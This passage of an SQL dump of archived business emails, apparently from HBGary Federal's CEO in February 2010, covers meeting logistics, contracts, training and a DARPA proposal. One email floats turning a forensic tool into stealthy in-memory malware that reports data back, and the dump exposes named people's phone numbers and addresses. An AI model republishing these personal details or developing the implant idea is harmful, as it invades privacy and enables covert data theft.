<aaron@hbgary.com>','/aaron@hbgary.com/new/1297001184.M647845P3547Q2521.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Snow predicted for Monday','Sure.  Everyone can make it?\r\nAaron\r\n\r\nOn Feb 11, 2010, at 4:38 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> Is 3pm on Monday good for you?\r\n> \r\n> billt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 11, 2010 4:37 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Re: Snow predicted for Monday\r\n> \r\n> Too far out, right now 50% chance of snow.  Rooollll the dice. :)\r\n> \r\n> On Feb 11, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n> \r\n>> How much?  I am shooting for a 2:30 meeting.\r\n>> \r\n>> billt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, February 11, 2010 4:26 PM\r\n>> To: Thompson, Bill (Xetron)\r\n>> Subject: Snow predicted for Monday\r\n>> \r\n>> Wanted to make you aware.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8896,'aaron_hbgary_com/8896.html'),(2521,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001184.M67558P3547Q2518.eml','shawn@hbgary.com','Malware DDNA','Hey Shawn,\r\n\r\nWonder if you can give me some thoughts on an idea rich had brought up.  How feasible would it be to take DDNA and turn it into something that was malware like?  Stealthy, hidden in memory, looking for data in memory and reporting back, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3915,'aaron_hbgary_com/3915.html'),(2522,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001184.M835141P3547Q2522.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','yeah thats one of those open ended ones. &nbsp;There is another cyber one that is very similiar that has a cycle that begins in the beginning of March.AaronOn Feb 11, 2010, at 4:13 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n.mhtml\r\nLook on fedbizopps\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Thu Feb 11 15:09:13 2010\r\nSubject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\nwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file?\r\n\r\n\r\nOn Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n&gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5818,'aaron_hbgary_com/5818.html'),(2523,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001185.M155504P3547Q2523.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Hey Nolan,Penny has scheduled a meeting for me from 10-12 in Bethesda for tomorrow. &nbsp;Do you want to meet in Bethesda right after that for lunch? &nbsp;I know a great Indian place up there called Haandi.AaronOn Feb 9, 2010, at 8:10 PM, nolan@informationsecuritysolutionsllc.com wrote:I\'m good with any of those...your call.Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:09:53 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWow. &nbsp;Ok. &nbsp;In that vase I know of a few good sushi places and a good afghan place in Vienna. &nbsp;Any preference.From my iPhoneOn Feb 9, 2010, at 8:05 PM, \"nolan@informationsecuritysolutionsllc.com\" &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nI\'ll be coming from Frederick so lunch in McLean would work fine.Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:01:51 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: Services contract for commercial IR servicesWe could grab lunch? &nbsp;I will be Coming fro McLean. &nbsp;Where will u be? &nbsp;If lunch is good I can pick a place near or in between us both.\r\nAaronFrom my iPhone\r\nOn Feb 9, 2010, at 7:52 PM, \"Nolan Clifford\" &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good. &nbsp;What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, \"Nolan Clifford\" &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n  &nbsp;\r\n  How is Friday looking for you?\r\n  &nbsp;\r\n  Cheers,\r\n  Nolan\r\n  &nbsp;\r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n  nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit. &nbsp;:)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can\'t tomorrow. How does next week look for you?Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow. &nbsp;You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week. &nbsp;My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week. &nbsp;Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,NolanSent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n          &nbsp;Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n            &nbsp;\r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n            &nbsp;\r\n            Best,\r\n            Nolan\r\n            &nbsp;\r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n            nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n            &nbsp;\r\n            &nbsp;\r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n            &nbsp;\r\n            I spoke today with Nolan Clifford.&nbsp; He may&nbsp;be \r\n            helpful&nbsp;with the contract terms for IR Services.&nbsp; Nolan \r\n            has an NDA with HBGary.\r\n            &nbsp;\r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n            &nbsp;\r\n            You may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting \r\n            your call.\r\n            &nbsp;\r\n            Maria\r\n            &nbsp;\r\n            Nolan Clifford Bio\r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n            &nbsp;-- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13338,'aaron_hbgary_com/13338.html'),(2524,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001185.M408545P3547Q2524.eml','\"Barr Aaron\" <aaron@hbgary.com>','Training','I enrolled in the malware RE class on Feb 24-25 in Sacramento.  Hope\r\nto stop by GD, and also talk feed processor.  Join me?\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11602,'aaron_hbgary_com/11602.html'),(2525,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001185.M608635P3547Q2525.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Training','Yep.\r\n\r\n From my iPhone\r\n\r\nOn Feb 11, 2010, at 5:01 PM, Ted Vera  wrote:\r\n\r\n> I enrolled in the malware RE class on Feb 24-25 in Sacramento.  Hope\r\n> to stop by GD, and also talk feed processor.  Join me?\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',730,'aaron_hbgary_com/730.html'),(2526,'2010-02-11','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001185.M915450P3547Q2526.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','Sounds great, let\'s go with that. Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 11 Feb 2010 16:58:26 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHey Nolan,Penny has scheduled a meeting for me from 10-12 in Bethesda for tomorrow. &nbsp;Do you want to meet in Bethesda right after that for lunch? &nbsp;I know a great Indian place up there called Haandi.AaronOn Feb 9, 2010, at 8:10 PM, nolan@informationsecuritysolutionsllc.com wrote:I\'m good with any of those...your call.Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:09:53 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWow. &nbsp;Ok. &nbsp;In that vase I know of a few good sushi places and a good afghan place in Vienna. &nbsp;Any preference.From my iPhoneOn Feb 9, 2010, at 8:05 PM, \"nolan@informationsecuritysolutionsllc.com\" &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nI\'ll be coming from Frederick so lunch in McLean would work fine.Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:01:51 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: Services contract for commercial IR servicesWe could grab lunch? &nbsp;I will be Coming fro McLean. &nbsp;Where will u be? &nbsp;If lunch is good I can pick a place near or in between us both.\r\nAaronFrom my iPhone\r\nOn Feb 9, 2010, at 7:52 PM, \"Nolan Clifford\" &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good. &nbsp;What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, \"Nolan Clifford\" &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n  &nbsp;\r\n  How is Friday looking for you?\r\n  &nbsp;\r\n  Cheers,\r\n  Nolan\r\n  &nbsp;\r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n  nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit. &nbsp;:)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can\'t tomorrow. How does next week look for you?Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow. &nbsp;You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week. &nbsp;My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week. &nbsp;Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,NolanSent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n          &nbsp;Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n            &nbsp;\r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n            &nbsp;\r\n            Best,\r\n            Nolan\r\n            &nbsp;\r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n            nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n            &nbsp;\r\n            &nbsp;\r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n            &nbsp;\r\n            I spoke today with Nolan Clifford.&nbsp; He may&nbsp;be \r\n            helpful&nbsp;with the contract terms for IR Services.&nbsp; Nolan \r\n            has an NDA with HBGary.\r\n            &nbsp;\r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n            &nbsp;\r\n            You may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting \r\n            your call.\r\n            &nbsp;\r\n            Maria\r\n            &nbsp;\r\n            Nolan Clifford Bio\r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n            &nbsp;-- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11125,'aaron_hbgary_com/11125.html'),(2527,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001186.M184436P3547Q2527.eml','\"Scott Pease\" <scott@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,','Re: ConCall to Turn Over GD contract 4PM Pacific time','Perfect Scott, thanks!\r\n\r\nAaron, you\'re welcome to join in if you\'d like (7pm your time).  Let\r\nme know and we can set up a dial-in number or something...\r\n\r\nTed\r\n\r\nOn Thu, Feb 11, 2010 at 3:14 PM, Scott Pease  wrote:\r\n> Ted,\r\n> I just spoke to Martin. We are both available at 4PM to go over the GD\r\n> contract status. I\'ll send what materials I have in electronic copies prior\r\n> to the meeting.\r\n>\r\n> Since I am working from home, Martin will call you and conference me in.\r\n> (Martin, my home number is 916-797-5334, Cell is 916-847-4048).\r\n>\r\n> Regards,\r\n> Scott\r\n>\r\n>\r\n',2646,'aaron_hbgary_com/2646.html'),(2528,'2010-02-11','ted@hbgary.com','/aaron@hbgary.com/new/1297001186.M385947P3547Q2528.eml','aaron@hbgary.com','Incident Response Process','\r\n\r\nI\'ve shared Incident Response Process\r\nMessage from ted@hbgary.com:\r\nJust copied and pasted the malware one to get this one started...\r\n\r\ntv\r\nClick to open:\r\nIncident Response Process\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',12722,'aaron_hbgary_com/12722.html'),(2529,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001186.M607017P3547Q2529.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Malware Analysis','FYI\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Kevin Spease \r\nDate: Thu, Feb 11, 2010 at 1:53 PM\r\nSubject: Re: Malware Analysis\r\nTo: Ted Vera \r\n\r\n\r\nAll is well, Ted!  Glad to hear all is well with you.\r\n\r\nSo, I\'ve laid a bit of groundwork - we\'ll see what springs up.\r\n\r\nI sent out the study... along with some background on you and HBGary to...\r\n\r\nThe InfoSec manager here in Health Net (I\"m not in the InfoSec chain -\r\nI\'m in development)\r\nI\'ve also sent it to a few friends of mine back at ICBM who manage the\r\nICBM extranet for Northrop\r\nAnd, I sent it to the ISSA-Sacramento Board with a \"cc\" to the State\r\nof California CISO, Mark Weatherford - who you probably knew through\r\nCOS-ISSA.\r\nLater when I can find the email addy to my friend\'s brother (who is an\r\nNG VP), I\'ll send it on to him as well.\r\n\r\nAs for teaming.... what org (or type of org) do you think would be a\r\nbest teammate in Northrop?\r\nAre you still looking for a date to the DARPA dance?  If so, I can use\r\nthis as a teaser to Telcordia and Textron - but I\'m not \"going there\"\r\nwithout your permission - don\'t know how close-hold things are with\r\nthe DARPA thing.\r\n\r\nKevin\r\n\r\n\r\nOn Thu, Feb 11, 2010 at 10:25 AM, Ted Vera  wrote:\r\n\r\n>\r\n> Hi Kevin,\r\n>\r\n> HBGary published our Aurora report yesterday, with detailed analysis\r\n> of the malware that struck Google and dozens of other companies.  If\r\n> you know anyone at Northrop (or elsewhere) that could benefit from\r\n> this level of malware reverse engineering / analysis, I\'d appreciate\r\n> an introduction or opportunity to team-up.\r\n>\r\n> Hope all is well,\r\n> Ted\r\n>\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7998,'aaron_hbgary_com/7998.html'),(2530,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001186.M799748P3547Q2530.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Snow predicted for Monday','Any luck.  Or is mtg still tomorrow?\r\n\r\n From my iPhone\r\n\r\nOn Feb 11, 2010, at 4:33 PM, \"Thompson, Bill (Xetron)\"  wrote:\r\n\r\n> How much?  I am shooting for a 2:30 meeting.\r\n>\r\n> billt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 11, 2010 4:26 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Snow predicted for Monday\r\n>\r\n> Wanted to make you aware.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',11720,'aaron_hbgary_com/11720.html'),(2531,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001187.M110790P3547Q2531.eml','\"Barr Aaron\" <aaron@hbgary.com>','GD','I collected everything Scott sent me and put it on the shared drive (not google)\r\n\r\nContracts --> 2010 --> General Dynamics\r\n\r\nShit -- it\'s due March 1st.  This should be an interesting phone call.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13549,'aaron_hbgary_com/13549.html'),(2532,'2010-02-12','\"Jeff m\" <jeffmac710@gmail.com>','/aaron@hbgary.com/new/1297001187.M328826P3547Q2532.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','It sounds very similar to a problem I worked a while back.  The idea is one would use data mining to create groupings of the data and the groups would then feed a belief network.  The belief network would then analyze the data and give reports/status on the system/network.  The thing is that the darpa request wants to be able to identify unknown behavior.  This would require an extra step to trend the data and identify anomolies.  These anomolies would be categorized as unknown/safe, unknown/unknown, and unknown/dangerous.  The determination on the unknown state would be based on boundary conditions.  Anyway, some thoughts on that.  I can go into more if you want.\r\n\r\n \r\njeff\r\nOn Thu, Feb 11, 2010 at 10:49 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0 \r\n\r\nThe file is too big to send...above is the link.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 11:22 AM, Jeff m wrote:\r\n\r\nIs there supposed to be an attachment?  It sounds interesting enough but without a description of the problem space I can&#39;t really comment on the ideal technologies to solve this problem.\r\n \r\njeff\r\nOn Thu, Feb 11, 2010 at 9:09 AM, Aaron Barr &lt;adbarr@me.com&gt; wrote:\r\n\r\nwrong address\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: February 11, 2010 11:09:10 AM EST\r\n\r\nTo: Mark Trynor &lt;mark.trynor@gmail.com&gt;, Jeff McCartney &lt;mccartney7595@adelphia.net&gt;\r\n\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nSubject: DARPA BAA\r\nhey guys,I would love to get your thoughts on the technical areas in the BAA.Jeff, the 2nd task seems like 